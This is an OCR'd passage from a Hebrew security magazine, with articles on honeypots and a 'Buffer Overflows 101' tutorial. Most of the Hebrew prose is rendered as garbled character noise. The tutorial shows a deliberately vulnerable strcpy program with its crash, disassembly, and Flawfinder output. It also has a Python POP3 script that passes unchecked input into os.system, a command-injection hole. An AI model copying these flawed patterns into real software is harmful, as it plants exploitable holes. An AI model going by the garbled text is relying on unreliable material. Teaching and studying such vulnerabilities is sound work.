X « s:s,x { X s s{s¢ . 17 :xI x?J xLx L\p_(si_,_s I1x” yF CF" X J,,.{ Sv | X
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"A honeypot is an information system resource whose value lies in unauthorized or illicit
use of that resource" 1 Wikipedia.org

HoneyPots
www.DigitalWhisper.co.il
44 20110, x ¥1x1+7 x 4 ¥



Technologic

oo . i X gs AMT A s L v 4T X Xhxobd 0 pxaqd
x p,H 7 x4 L1 Y Moneyteskens o X« 1 X X oo vl ks xRk ss 4 X x|
e - R PC A ECRVR I RS 5 LSS ' St A AN S It
| ] x % =] x X L A « X 141 x ¢, x L x T x X1 - X 4 S qy L L
|XJLSk,x|S_-||_\. . Y L ,,X:,|\.X}|_|_ S ~ X oo "% nox U7 ox € 40X
,,><Av s LX 1A Z_|(\~v’?.[<s'||_,,.|vy,,xL~-|><>I‘x:IxJLV Lo :x"x,,v'|x
o1 s x X Xy
s 4 . 174« 5 1 L
Lo 1, 54 v+ X7 1, X s Soxbpediwex i e e ST X 1 e
R s T4 X 4., s Xxs, ITX{X I x X _ X
s Ix " sy v, 174 X

o1 s v Ao x A w0 p A s X 97 sp xSt Ysh  Lsx Ty G

Fedd x4 s x> x4 x s shpx s XD s, o T8 o ¥x 6]
x ¢ ] N . 1s poAX X x Is I X7 4,80 ¥sl I x Is? s x |  F I 47 x €
\;|sx|1’_2|<‘,x s x I x < I « L X-r X 1 X 4 s X X g Xxs {4 X x4 4
S L S & X ¢ ] x -|x~> =)x\>< s
X i x S ¥ x4 L
netcat -1 -p 80 >/log/honeypot/port_80.lpg
Plx 4 bx 4 X e T ] T80, xs L] BV S Lsox T
I L R N T T I I S (R X oo% s s x € x4 s, s L x ] A1
A X SMTP i D T syt LT LD x 4 X e {y
L R S O R IR
x X = X +« S Dxloxoas L lox T Xy, S{{]ss{ X X XS s | s 1~ =
« X p 2 oDxlx Ls X Dox X 1 L X X S HAT s gox o “Zix-|s!_“)q_
L X« L A RN RN -l>q,,,~x'|>><\-|1x~,_-|A>< Sl S L~ Sl
.XL"
HoneyPots

www.DigitalWhisper.co.il
45 20110, x ¥1x1+7 x 4 ¥



-+

nu

"
1] n
(] n

+
== s

=

Technologic

Operating System

Fake Daemon

Other

local

resources
st 4., x  xI chxds e 0 18 g i) SN . S B
s ” S I X v . X s xlbox o« s | A L S LX) A s s

° > ~

(White Paper: HoneypotReto Baumann, Christian PlattrRer 1 « ¢ " s)+ 1 _ ~ !

S L RMEIDS THGX A d s Ix T s o1 e L]

« . . S X F ]y XL D N s WX TS X ] Xul v s Xa]waX 4 X o XX
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‘I”X llix S _I N « * ., .I "‘I\. :V,’x
DX, A oss_bos o idls, s I flex s X Ty Ix o 4 sy x o
I T T L O L NERE. A B S & P -HE Y A S L N
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Ll st X 4 s s x Xy s><.|,,‘><“x:l - LY Xs Z:vx.,,;, N L s Lo Fd s x
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'S -| . RN L
HoneyPots

www.DigitalWhisper.co.il
20 110, x ¥I1x1+~ x { o Y


http://citeseerx.ist.psu.edu/viewdoc/download;jsessionid=10078459BA94848EE166AD77B00FCD88?doi=10.1.1.10.8885&rep=rep1&type=pdf

Technologic

Fake Daemon

Operating System
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Honeynet

A honeyfarm is a centralized collection of honeypots and analysis tools.

The concept of the honeynet first began in 1999 when Lance Spitzner, founder of the Ebrneyn
Project, published the paper "To Build a Honeypot":

"A honeynet is a network of high interaction honeypots that simulates a production network
and configured such that all activity is monitored, recorded and in a degree, discretely
regulated."¢ Wikipeda.org
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x "-HomeyPots A s
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(A1, X 1 ) XEl¥axs P2 BTN T O GRS PP AN D S S P S S I P
= s S ] L 15,7 X« ss G 4L L ¥ DX "X X . % x|

o oos o Hdesy o Do Rerk X r 4 X x e Y x4 4 0 x 1 DT 0 1,

. . R 1s L v XpSH )L“LXX:JSS |_=Ax -|2Ax,,”sx oo A S L Lol X .o X

N X" ¢ DTk 8§ A s x Tl 4SS Tee 4] 41
I+ s, s x Xy s ., X (X .~ X s P o XS, Xiae IS X X Xs o L.

L 109, x 1D Ixg s ] X X Xy s, 4197 x S .1 s L

x {14 - x Lox ]
= a X

Services:  Services: [ogging:  Standard | Looks like: Windows | Install | start | stwop | staws | togs | auit |

Echo | sMBa | Hostname: |wg.all.net Mailto: |root@lacalhost
Sys?.at I St ! Buffer Size: |2048 Loopcount: |1 1] Inactivity Timeout: ISD
Daytime | SMBc |51 5556 7 2002/07/16 14.37.90 16963 160630 UIPLister. pl 50 R-0
Metstat | DTK |[0.0.0.0 -1 0.0.0.0 53 2002/07/16 14:37:20 15260 15260:0 UDPlisten.pl 50 R-0

0.0.0.0-10.0.0.0 68 2002/07/16 14:37:20 15267 15267:0 UDPlisten.pl 50 R-0
DHS | X1 |lgioiolo -1 000.0.0 111 2002/07/16 14:37:20 15274 15274:0 UDBlisten.pl 50 R-D
ttp | i1 ||0-0-0.0-10.0.0.0 365 2002/07/16 14:37:20 15281 15281.0 UDPlisten. pl SO R-O0
0.0.0.0-10.0.0.0 12345 2002/07/16 14:37:20 15288 15288:0 UDPlisten.pl S0 R-0
P
Gopher | X11-3 [|0.0.0.0 -1 0.0.0.0 12346 2002/07/16 14:37:20 15295 15205.0 UDPlisten.pl SO R-0
0.0.0.0 -1 0.0.0.0 65535 2002/07/16 14:37:20 15302 15302.0 UDPlisten.pl S0 R-0
Finger | MetBus ||oi0.0.0 -1 0.0.0.0 28000 2002/07/16 14:37:21 15303 15309:0 UDPlisten.pl S0 R-0
Ssh | MetBusz ||2-0-0-0 -1 0.0.0.0 2049 2002/07/16 14:37,21 15316 15316.0 UDPListen.pl S0 R-0
0.0.0.0 -1 0.0.0.05393 2002/07/16 14:37:21 15323 15323:0 UDPlisten.pl S0 R-0
Telnet | MaxPort [0.0.0.0 -1 0.0.0.0 14000 2002/07/16 14:37:21 15330 153300 UDPListen pl SO R-D
0.0.0.0 -1 0.0.0.0 10000 2002/07/16 14:37:21 15337 15337.0 UDPlisten.pl S0 R-0
FTP | Weirdport ||0 0.0 0 -1 0.0.0.0 10752 2002/07/16 14:37.21 15344 15344.0 UnPlisten pl S0 R-0
a | ogopp [|S5535 -1 0.0.0.0 2002/07/16 14.37.21 15351 153511 Generic.pl SO R-0
Bual 65535 -1 0.0.0.0 2002/07/16 14:37:21 15351 15351:1 Generic.pl S RO-O
Web | 2049 65535 -1 0.0.0.0 2002/07/1€ 14:37:21 15351 15351:1 Generic.pl S RO-D
5535 -1 0.0.0.0 2002/07/16 14:37:21 15351 15351:1 Generic.pl § RO-O
8SL | 5999 [|g5535 -1 0.0.0.0 2002/07/16 14:37:%21 15351 15351:1 Beneric.pl 8 RO-O
65535 -1 0.0.0.0 2002/07,16 14:37.21 15351 15351.1 Generic.pl § RO-O _
Ketberos | 14000 ||G5535 -1 0.0.0.0 2002/07/16 1d:37:21 15351 15351:1 Generic pl § RO-D
pop3 | 10000 (65535 -1 0.0.0.0 2002/07/16 14:37:21 15351 15351:1 Generic.pl S RO-D
B5535 -1 0.0.0.0 2002/07/16 14.37:21 15351 15351:1 Generic.pl § RO-O
SunRPC | 10752 [|65535 -1 0.0.0.0 2002/07/16 14:37:21 15351 15351:1 Generic.pl § RO-0 4
Version 1.1 - Fred Cohen
« XWindows * x | .~  _UNLX_ * *xxlv.x o v ¥ . -Horleydx .2 1 x
FTP % 404 @ x w4 _ Tolste x% 47 ¥ sy Tod™x  Dx v x . ]x
S.., , S - cxo o bdod o . XSMTR X - v
Frd . _ . _ v 1, ~x s GoodlelHa¢kHoneypot:u _ b x "-GHH .3x -

x JHT AR 4T e LY XX AL AL r]4A1E 4 %S
Lxs 47 4o lx v A xLx ox ARy 17 L1 A 4 e NS o H sy
FX 4 GEH L x T o x e sox o X Ty s ] Xxs Ik LD xoL, by x
°XX\\ L - .”Xx-ll—v_'ixans ~~XX| -{:‘]ISXJ-lLM’X"V L (,,'I‘SL
s ” . X | S X X x | X s x|

. o P X_J 7 P - L J~ rr Y o ~ r” Y - rr L J
L~ X s x boxo. JRRLEEE RN A (S B AN T ) K 2 S B SRR B I

ARs L x X xUsdrAgentx _ 1 X . L4 x| x X
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Downloads
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Support

e

Documents

GHH Honeypot

GHH Config

Frotected Area

GHH Logfile

Red Lines represent transparent
hyperlinks

Green Lines represent configuration to
same configuration file

Black Lines represent the configuration
file's access to protected logfile.
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T I T e T D S RS X4 o xdss Dx 3 xS 4 xS o
~ 1 s TOXXIXST 8’ X K L XX L Dxoo | 1 x : . % [ T I
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T FLo_ X s 1 xs:74] s pixe o ITXXxxs] X Tisx " x A “oL LX 4 x ]
X X ” ” X | | . - X xl : | X ] n X X
1, L, 1" s T, As Done 4™ ox g X iyl X ] ety x
B X « oL X X4 x o, . S Ll X 17X FAX Hsx s ssx™lIxd (s s
1. % L x 7 s ¢ DX { s L " s 2
*oox sy
,,“-lll)\‘:)s I x & s u~x">< I-'H,"”)Xx,,, J‘I'I'Hv“'I:'l-P('t'x,"xx)e("-P(xA:v‘l>x .
X . X {7 oxooox X L X DX XX[x "t x
S T oS A X s T x4 ST 1 s

o1 ls e X441 444

b It U 7 i

HoneyPots
www.DigitalWhisper.co.il

55 20 110, x ¥I1x1+~ x { o Y



Technologic

X, X

http://en.wikipedia.org/wiki/Honeypot_%28computing%29.
http://www.honeypots.net/honeypots/links 2.
http://www.projecthoneypot.org 3.
(-1 _ 1 _ ~ s Jd)drunkgeisha.noblogs.ord.
honeynet.org 5.
holcroft.org 6.
isoc.org 7.
http://www.honeynet.org 8.
http://www.ukhoneynet.org 9.
Honeypots by Reto Baumann and Christian Platth@r
.The Use of Honeypots and Packet Srsffer Intrusion Detection by Michael Sink, PLE
A Guide to the Honeypot Concept Mark Pickég
http://www.christianplattner.net.14
http://all.net/dtk/index.html .15
http://ghh.sourceforge.net/index.pp .16
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Buffer Overflows 101

(NightRanger) ' x4. & «

~
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B e T T A B o B VI
s s 4 Mo v x X w o s s I "X, 1 0 s I x s Dox X ]

v . S8 X X .. 1x 4 v L 1 s x .OX »X{ A4S x:”x,_,_~-| O D [ s1 X )

2L X 1 S S T L T BT IS X s s ¢ . X "

X)LY S =”'|‘-~ -l'I”SLs,Tq)%"" :x:"v";xl;! :Tj

? X . .I .I « = » 'IX', L~ y -l 5‘| " = ”L'I \= ='| g .

Dx o ] X ] X = i x X X 4 L X Z=dJ,’,’Xxx =7 ] .
s 4 ix U x 1 . Llodq4x s | s

Buffer Overflow" + _ * s x Isq] 1x*C sifxq  x 1 | x {7 x x 174 1

I X
x 7 ~s L
Lk + ~ » S Xy
X"
mn X

X, 4 e Lx Co X x D s o X L4 x

I T S BRI A S WL,XiIX Foox qusx [i4x o XxXsy .,
17 x4 x D N ot A4 X,
s " ] x s 11 A
LoRAT T o A STy s
O T A T N 11 YL x
417" .1 _)Stack Overflow q
.S(_ 1~ | ) HeaplQverflow 1
oy txe o s os e 4 i~ S Aoy X
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?2 v x ] 1LY L x 1y
1 S R Fds s X x XG++_X=C‘.=:XX|_YVJX TIXXTxIX oy
S T T A G R A R LS X

~

strepy(), sprintf()vsprintf(), strcat(), scanf(), bcopy(), gets(} ~ 1 ~ «s =« G Ty _ %

R

i L~ ~ xS I 4 s e L 1] s L

~ ~ ~

~

LX 14 T T s o

~

#include<stdio.h>
#include <string.h>
Getlnput(char * str)

{
char buffer[10];
strepy(buffer,str);
printf("Your message is \ "%s\ "\ n",buffer);
}
main( int argc, char *argv[] )
{
iftargc ==2)
Getlnput(argv[1]);
else
printf("One a rgument expected. \'n");
return O;
}
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| char buffer[10]; |

X

.. strepy(Qll 4 s

. oL x by oxxe 4e xfy w41, strapy{()~S. 1 - 7 X
(buffer)!  {sir)~ x « _ s _ L et DOx 1 s Lo S, kK ]s DXy X
T L . S X )
| strepy(buffer,str); |
Y « s buffer 1 x Yy < x { =
‘ printf("Your message is \ "%s\ "\ n",bu ffer); \
?|_ -I 3)(0 L 6 ox - -| s | x « S ., X

C:~>bof _exe DigitalWhisper
Your meszszage iz "DigitalWhisper"

(HERN

C:x>hof .exe ARAAAAAAAAAAAAAAAAAAAAAAA
Your message is "AAAAAAAAAAAAAAAAAAAAAAAAA"

bof_exe has encountered a problem and needs to close.
We are sony for the inconvenience.

If pou were in the middle of zomething, the information you were working on
might be |ost.

Please tell Microsoft about this problem.

Wie have created an enor report that pou can send to uz, We will treat
thiz repart az confidential and anonymaous.

To see what data thiz eror report containg, click here.

Debug Send Errar Repaort | Dan't Send |

A0 X Ol s Y SsEY  d  sbTYX T e X s e X D5 s | s
oS DX FAde " oA s T X
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\(.()Xs L X ] s {x s q{¢ L L ~ S "§ s 7 ¥ x 1 %X
" Tosx T T T B D B e S I x <L s
] s X

C/C++ * x - http!//Soyrceforge.net/projects/devcpp/files/- DEV € +

« XD o] Yo 441 (4 http//wwws.ollytig.die/odbg110.zip- Ollydbg

http://mwww.immunityinc.com/productsimmdbg.shtml Immunity Debuggekx -
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N ” ) -i
“X”‘IL SLA,SS :J”T[Av :x_Ix
(CIC++ 1) 45 L1 “x7" 149 )
L x . “ R 11 x I -I
Python xPerl :x v | ¥ " 41 4.« T x _
Fos oo Xe, e T 0T e xS s, b0 e o x s T o X e ] O
x , | s 4L ] s Tu X s'|12>s Clhox O7 I oL T ‘-|>
S R
oS o Aes o o 0T s v A s L x X
Soo oL X ]-http:/imwwav batktrack-linux.srg/downloadst BackTrack4d
S ¢ oov L n -I . x , | s E -I
s . x boos ¢ Ahitpd/www:metasploitEomA- Metasploit Framework
Exploits ¢ <4 xx o 1xi 4 L " sX s


http://www.backtrack-linux.org/downloads/
http://www.metasploit.com/
http://sourceforge.net/projects/dev-cpp/files/
http://www.ollydbg.de/odbg110.zip
http://www.ollydbg.de/odbg110.zip
http://www.immunityinc.com/products-immdbg.shtml
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s \Windowsi XP + SRP2. s s

~ v ~ A >

D S S

A~

http://www.virtualbox.org/wiki/Downloads- VirtualBox

I . Exploit T4 %4 %,

1. X . X T s kg,

L]

14

X | .

~

http://www.vmware.com/support/ - VMWare x -

X 4 ¢« 1 o X oo 1
. X o X
Whitebox = «~ 41X ¢ X v LoD T4 L x X« L _ s
DX 318", T 4 sysx gl xs{yyqlx, ¢ x X §7 0 s
L XL {71 4 s s « 4 %X ] 4L s :J~s Ld Is LI xx]o ZZx-|,,vxx~>IH<-1;‘ |_><‘~
A1« - N “ L oot X .
1 S_"-fAX’iJ:XXSL:"Xk}Si(:ﬂXﬁ‘,,“:".X) x "o, x X . « 4 x .
S~ Al xs 4] Xov o X oy
http://www.dwheeler.com/flawfinder/ - Flawfinder- ~ « 7 I x « x w4 X x
x "o s YFhawfinderd', x s o x x s o 1 X
root@Blackbox : ~# flawfinder bof .C

Flawfinder version 1.27, (C) 2001 - 2004 David A. Wheeler.

Number of dangerous functions in C/C++ ruleset: 160

Examining demo.c

demo.c:6: [4] (buffer) strcpy:
Does not check f or buffer overflows when copying to destination.
Consider using strncpy or strlcpy (warning, strncpy is easily misused).

demo.c:5: [2] (buffer) char:
Statically - sized arrays can be overflowed. Perform bounds checking,
use functions that limit length , Or ensure that the size is larger than
the maximum possible length.

Hits = 2

Lines analyzed = 18 in 0.52 seconds (1105 lines/second)

Physical Source Lines of Code (SLOC) =18

Hits@level =[0] O[1] O0[2] 1([3] O[4] 1[5] O

Hits@level+ = [0 +] 2[1+] 2[2+] 2[3+] 1[4+] 1[5+] O

Hits/KSLOC@level+ = [0+] 111.111 [1+] 111.111 [2+] 111.111 [3+] 55.5556 [4+]

55.5556 [5+] O

Minimum risk level = 1

Not every hit is necessarily a security vulnerability.

There may be other security vuln erabilities; review your code!
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» X -l "XLl 7 s

.Graybox - « 1! * | + YReverse-Enginéefingd"® _ x . s x X

: x Lo ZI“>ZV s " ] x s ] 4 - '|“KLSz,L;|xF|: s J“i>_§"x
XX L, W { ] s ., X1 s N Fod o~ .S x x=,,,~><x v:-|,,v~x> . ::va IS 4" «{S+ 1. XX,
s " ] x s :LxA>x I x o s X ]l ] L X 0L R Z,,Yv { s

L= Lot X o XS] $ I x <L X ., A _St = "v Sy« TLANHT Lo L x & Lo

Tl X .~ e .xs 4 Disdsserhbles ¥ X w4 .y Sl AT Ay | 4L X
s, X ]'s P X -|~|_ :-||’DAX.:|,|_\=|$"|V””\-Y|_X|>+("))GSLI-'|=L:J+

http:/www.hex-rays.com/idapro/idadownfreeware.htm

:\Documents and Settings\NightRanger\Desktop\bof.exe

Fle Edt Jump Search View Debugger Options ‘Windows Help

1R 1 Y- AR v v # | =% x| mEm =

bn =
B En J 2= WinGraph32 - Graph of sub_401000
File Miew Zoom Move Help

Selel alalale|+| [Fol@is]s| v

=

DA Vie
sub_401000;
=
push  sbp
Ei| IDA Vi nov  ebp, asp [[] Mames window

sub ssp, 160 ;nt = —_——=
mow [abp+var_6], abx o] Name Address F o
mow adx, [ebp+arg_0] = |
[ : bier (1D 1 _imp_free 0040504

nov  [ebpevar 41, eei eccue . com> 1 _imp_malloc 0040508

oy ea, Lodkl 1 _imp_piinitf 004050FC

mov san) [gan] I _imp_signal 00405100

cip  sax, 000000033h — v 00405104 =
i shart Toc_401061 top\bof . exe 1 _imp._steopy v

] L Line 44 of 44

1
{se 1rue

Strings window

Addiess Length Sting
. datar..  DODOOOTG “our message is V"%V n

T
C

rdatac0.. 00000018 C One argument expected 'n
C
C

1
ear, 0C00000350
iz short loc_401025

0CO0000SD0
1 loc_401080

Toc_401064 : J
cup

st 00000020 wi32_sharedptr->siee == sizeoffw32_EH_S
* rdata0. DOOOODTE o failed assertion %s"n

3

™

vie

00401068
o

sax, 0CO0000
iz chort Toc_40

tabase.

A~

Compi Ting Toc_401024

Executing mov [asp+18hevar 18], &

IDA s a war sar, Gax

You may s

Fropagati i

Functian |y | ¥
75.00% [(-320,0) |18 nodes, 110 edge segments, & crossings Y
AU idle B DR 1868 D000 DOROT 00, 06407000
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L R R T T R T T

-text:0040812908
-text:00481298
text:pa481291
-text: 00481293
-text: 00481296
-text:0048129090
text:p048129D
-text:004812A8
-text:004812A3
-text:004012A8
text:004812AB
-text:004812AF
-text:004812B6
-text:004812BB
text:004812BC
-text:004812BC
-text:004812BC

X

sub_481298

RN

Technologic

RN

push ebp
nowv ebp, esp
sub esp, 28h ; char =
nowv eax, [ebp+arg_8]
mow [esp+28h+uar_24], eax
lea eax, [ebp+var_18]
nouv [esp+28h+var_28], eax
call strcpy
lea eax, [ebp+uar_ 18]
nowv [esp+28h+var_24], eax
nov [esp+28h+var_2?8], offset aYourHessagelIsS ; "Your message is %'"&sy'"wn”
call printf
leave
retn
endp
S X 1. X %4 T X% 4 IDAT 1 x o
"X) Lo, XA-I” { X ,,vav\.s I x . L, 5”-|“v X ‘x-lh
http://sourceforge.net/projects/bugscam/ BugScam™:x ¥ | x { I { {4 X
DA -~ x>* v 41 {1 .BugScam. 41 * 1 + 4 s
Fuzzing
AN VST s D x g x o Blackbox X 17X ITiq <71 {7 sx 6 s
s " | x s s 7 X
(@ @6 X % exd DRdzzEing vd Ay L S TA s T x L
X { ov . X XX X ETE YR At Y d B x4 5y ]
Se 1y 1s x @4 X" .49 78y S L FX oL YL s
Activex 1 * HTITRP = X % kK x ¥ 1 o XXX T Fuzzets| il ok 407 X FlY Xy
Lx x v d X< 0. 141
A _ s X OSPIKE: x_Fuzzer C_ T ox e s e

6 3

Buffer Overflows 101
www.DigitalWhisper.co.il
20 110, x ¥I1x1+~ x { o Y


http://sourceforge.net/projects/bugscam/

I

1
L-e-——-;

v
1

|
A8

™

|

” - . X n X X
. r . r W .~ Ve
S | L X 4 [ X 5 S § s« 48

aTechnoloqgi

> o~ >

N ¥
0000111® s: _ v x{). 1~ "B1 *
45Hs: ¥y x Hu 4 «-H, «s
25D s:_ ¥ X4l 4D !

X

.

~ v~ v

A

s x4 14

1 %0"4 Y« XTHBIT 14 %

2000001900000 x1

+o 1 116 s
¢ x 2 ~ 4 s+ 5 *¥DOUBLE WORD

432 -

L \Z,x,_-Hy”xx,_Z X L,,xXM >sx

+ 1181t 11 -BYTE ™
2 + 4 7 WORD,

4 Y X

FAXT LT

SLx o ox x

EAX AX AL AH
EBX BX BL BH
ECX CX CL CH
EDX DX DL DH
ESP SP
EBP BP
ESI Sl
EDI DI
EIP IP
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AX AT

Technologic

N N N R T B e S
TRY LD x e x4 ex x e XER v L XXy
g X 1 oL s S A YXSPFEBKX s T
S L ,oX X778 LS BCX X«
(XAl )Y x v e 4 s X e X HDXe Y X v e
:I'-I _IX‘ I-'IHYX\.
. x X Tx, 140 S XX THITRES] . WX
o x X o Tx, 4 o X x ) EDE . Y
A7 1T Tx L, 148 s J4e DX st EBPL. L 1%
17 81 s « « TxoL 14 S s T 1XOxsESRC . 4 X .
X { X L s « X's S v . XSSlsx T EP**.0 ] s 1 s x ¢
Rk B XX { Yy xlx x | x X
ol kX o oL e FixMOY . T xS
MOV EDX,42
MOV EBP,ESP
Ix 1 ., ¥ X « S ;[I,NC:LIYS
| INC EDX |
o1 L.y xos JiL.DEC 1 s
| DEC EDX |
X X 41 D xADD | x4 X
ADD ECX,ECX
ADD ECX,8
w X 0417 S ixsuUB | x 40X
SUB ESP,4 \
A0 X0« 1 (Ne Qperationy NOP | x « |
O I 17 T ATCMP. x x s o
CMP EAX,- 1 |
1 7%] X0 7 « X L S I I M slx“>s s X1 IMP x X FX N L
JMP 0040144E
JMP ESP
XS L 1 sq4c~ s, xl ox, §CALL * s xx
CALL 00401290
CALL ESP
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x &% Python

R S L X s e s T st T X avd s xS Ls.

PRI PR L

L X "o X x , | s . 3<-|-|v‘x“s” xLMs X, xexAILx “\>-|ss ,,,,-|v><\'|v2>< L

-s 1 x A }
.Exploit

> ~

x A4 _ L s Ix _x BacR¥ackd_ r.4%_1 1T x5 A4l T s x s 1

1 .~ . x S X « A1 . , .
root@Blackbox:~# which python
[ usr/bin/python
-s e ,_-|A>="s><_|J~v|_2m|_"x~ Doxoboxo s N L. -|><v <.|A" P

python s I x <« s" interpreter A

> a

root@Blackbox:~# python

Python 2.5.2 (r252:60911, Oct 5 2008, 19:24:49 (
] GCC 4.3.2] on linux2

Type "help”, "copyright”, "credits" or "license" for more

information
>> >
d 4« X DX FETA 1 o AT e XXX LT s X X e s
oA e A P o s oy s e X
1 s y x |
>>> gi te = "http://www.digitalwhisper.co.il "
>>> print site
http://www.digitalwhisper.co.il
= " _ 1. s Sx v X 1 sikelr Y oxs T X Xx KX
(«.¢x 1 _s S A AT S X )y s 1.,
x s " s = ] x . x " 5

s " ~V5print~sx| xZ“st‘V\ . .
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>>>fname = "Jhon "

>>> |name = "Doe "

>>> fullname = fname + Iname
>>> print fullname

JhonDoe

L X "

A A

R

Lo TS AL AL

1
e TOox T se e Tfulindme” H L X

> text = "this "
> > text+="is "
>>> text+="another "
> Sext+=" ex ample "
> > print text
this is another example

> >muml=5
> > mum2=7
> >sum=numl+num2
> > print sum

12
> >sum=num2 numl
> > print sum

2
> >sum=numl * num2
> > print sum

35

~-| DX o4 " ox X 1 DX oL oX

~ A

Sl x4 x

L

Y

2R P PRy Xr»iLb*lxxﬁ“v S«

JoXd 0 4T LT

Xy 1] . LR sxx wSJ,V %

X, | 1v 1% x

x o

ZLx>LJx
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logic

5 s y x |
> >prnt (4 * 5) - 5
15
., X X X'|""X:),X’l’-)ql.'|J>§L’F;|;2()SJ;X>}§|L~XJXWXX’LJ‘, ~s,_ =
X ] x .o x| 1,5 ., X ps st x X1 x| x ] 4 = X
1 - x I x o ‘-LXX)‘|51X b
6 S y x |
Fdex X XX ]

>>> import sys
>>> import 0s
> >0%.system("ping -cl 8888 ")
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data
6 dytes from 8.8.8.8: icmp_seq=1 ttI=51 time=89.0 ms
8 . 8 . 8--8ping statistics ---
1packets transmitted, 1 received, 0% packet loss, time Oms

rtt min/avg/max/mdev = 89.005/89.005/89.005/0.000 ms 0
L oXlox ianOFt xs | x . S X « X Fo4Lsx Isx oy xqImx
AL~
Tx o440
11 ] 1,4~ .1 St s o xS s o
A s x X X [
x 44 T L
a0~ X C¥ paw_jnput X
oA T input X2,
:(: x ¢ x , '|)v7 s-|vl_y“x |
> > ipput = raw_input("Enter your name )
Enter your name: Shai
> > print input
Shai
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o (O I

~ >

C1)Bws

Y X

>>> numl = input(“input first number: ")
input first number: 5

>>> num2 = input("input second number:; ")
input second number: 4

>>> print num1+numa2

9
IR L 5
Q9 s y x |
>>> host = "digit alwhisper.co.il"
>>> port = 80
>>> print host + port
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: cannot concatenate 'str' and 'int' objects
>>> print host + str(port)
digitalwhisper.co.il80
o .. . port X4 " s X ©host, 117 8t % 1"s s Ty X H X
S e 4y s N T R B . 10
TypeError: cannot concatenate 'str' and 'int' objects
port s "ol _ .S - s ¢ s S 4w x P 1.3« 7. %1Tdxe ] %2 Y
.str(port) shx s Ok .1
L Cx o, ]
10 s y x |

>>> numl = "10"
>>>num2 =10
>>> print num1 + num2
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: cannot concatenate 'str' and 'int' objects
>>> print int(hum1) + num2
20
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Soe v s X Fooos s X T O T L T
TypeError: cannot concatenate 'str' and 'int' objects ‘
.S A1 x 4 7x o 1 Loxoponymles XX s o WS ] X sx”
ant(hum1)  s:box o X
Fl XL s
> >text = "Hello world! "
> file = open("hello.txt", "w;
> file.  write(text )
> fite.close();
textr _ * s 7 "HellpWorld!™ - ¢ x .. 1 _ s S T I
S X4 thellotxtry | ¢ X XS sTlixxs s
text s 7 ¢ s Tl . *xoouL

>>> import socket
>>> host = "mail.netvision.net.il"
>>>port =110

>>> s=socket.socket(socket.AF_INET, socket. SOCK_STREAM)

>>> s.connect((host,port))
>>> data=s.recv(1024)
>>> print data

+OK POP3 service
>>> s.send('USER sh
>>> data=s.recv(1024)
>>> print data

+OK password required for user shai
>>> s.send('PASS 1234 \r\nY)
>>> data=s.recv(1024)

>>> print data

ai\r\n"

- ERR [AUTH] User disabled, contact your system administrator

for details
>>> s.close()
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s "X ~ . S s, ss | X s || X v 4
socket L ox I xL_ o« x X 4
S 4L~ P x " T ox o, % 2. X x I ]s .
boqs 1. x + 301l s 7
s v _ X s satkees @ X L4 X A
A~ Xhost ¢ 47 ¢ _ ¢ A s xq4" L s 51 x X4
data v+ _ ¢ s”7 o 1 e SBL . 4T e XS
data s " T 0 x -« A Ll
S L U S S Sx v POP3 iax id s XXX B KX s X T X
s.send X X, -«
| s.send(USER shai  \r\n) \
:\r\n]L~” =Jv . ]~ L X :xv-|\ APOF’B:XI:X-LUSERJVSZNVS P
.(carriage returi -~ 11"\r
S I s , X T inx s
A, xdatd s!”™x v S * 9y . L7
.Sockets S L Xxy X7 xs ] s 10X X FY 11,
A 15w X 4]
T R I x Lxoo s x o107 xIatérpreters 1 S 410X T x0T D]
X ot e TR el x s e o x bx s x Dox ] oG
(vim x ¥ ] xw b §sx 4 xI 1, 1) ¥-x71¢ «4s ix 14k s
L ] s o q ] X v .y Lolx T 11 ] =] r 1Y s DX ey ox :
q 1. « s’)IXxL“st-|\ .ov XL s "L = XX Ix 4 ¥4 302 x40 "X
A R I T B T SRR S
n 1 = 'II#I":I X ‘: X ” X xl,Y*‘-“ X : X . s
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5 y x |

# thisis a comment

This is a comment too
#!/usr/bin/python # x " U 1 Jnterpreter - x4 T x4
import os # s ¢ 1 4., 5T s o L xlx s ox X
import sys
import socket
import time
print "First script - Allin one \r\n"# 1 4~ s +_ s
host = raw_input("Ser ver address: ") # oL _os oS x, oy x o LS
port = input("Server port: ")# Ut S e ooy s
user = raw_input("Your POP3 User name: ")# v s S x, oy L s
passwd = raw_input("Your POP3 Password: ")# R L S NI b RN I TR
# 1 L « S ZXN“XX 5 :~ s =.|Cs~ ,_-|”Z~ s {7 x 7 Fo Z"l_x~ S
#1000 oo Ixr 4] Cx ., 1 _ L Xi X« poft.sS T X"wr F S X SHx»
print "You chose to connect to " + host + " at port " + str(port) + " \r\n"
time. sleep(10) # x * o x <« 14 4 _ 10 S _ *xI1: _ 4 1, 4.« s
print "Pinging host " + host + " \r\n"# s _ 11 s, x o Xx A L Cx
os.system("ping -c 4"+ host)# host s » . > o s T 40Cs I Xx I |, Y7
s=socket.socket(socket.AF_INET, so cket. SOCK_STREAM)# socket -s = .~ { .« A
s.connect((host,port)) # Lt LUs, ke exs X X DX x D DX, X ] DS
data=s.recv(1024) # data + _ X s ” socket -s _ ¢ 47 x D7 Lo X
print data # s” L s T xi ol
s.send('USER ' + user +' \r\n)# user s _ _* T _x.< L b 1A
data=s.recv(1024)# data + _ X s ” sockett s . o+ 47 x 7 X
print data # s 7L s T ]x L
s.send('PASS ' + passwd +' \r\n)# passwd s * & 0 s o 1x.« s 4 114
data=s.recv(1024) # data + _* s 7 sgckett s . o+ 47 X o7 D X
print data # s 7L s T ]x L
s.close() # socket -s . 4V |

Buffer Overflows 101
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root@Blackbox:~# chmod a+x demo.py

root@Blackbox:~# ./demo.py
First script - Allin one

Server address: mail.netvision.net.il

Server port: 110

Your POP3 User name: operator

Your POP3 Password: ok

You chose to connect to mail.netvisio n.net.il at port 110

Pinging host mail.netvision.net.il

PING mail.netvision.net.il (194.90.9.16) 56(84) bytes of data.

64 bytes from mmpb.netvision.net.il (194.90.9.16): icmp_seq=1 ttI=122

time=18.7 ms

64 bytes from mmpb.netvision.net.il (194.90.9.16): i cmp_seq=2 ttl=122
time=14.3 ms

64 bytes from mmpb.netvision.net.il (194.90.9.16): icmp_seq=3 ttl=122

time=16.3 ms

64 bytes from mmpb.netvision.net.il (194.90.9.16): icmp_seq=4 ttI=122

time=13.2 ms

--- mail.netvision.net.il ping statistics

4 packets tr ansmitted, 4 received, 0% packet loss, time 3000ms
rtt min/avg/max/mdev = 13.252/15.673/18.706/2.077 ms

+OK POP3 service

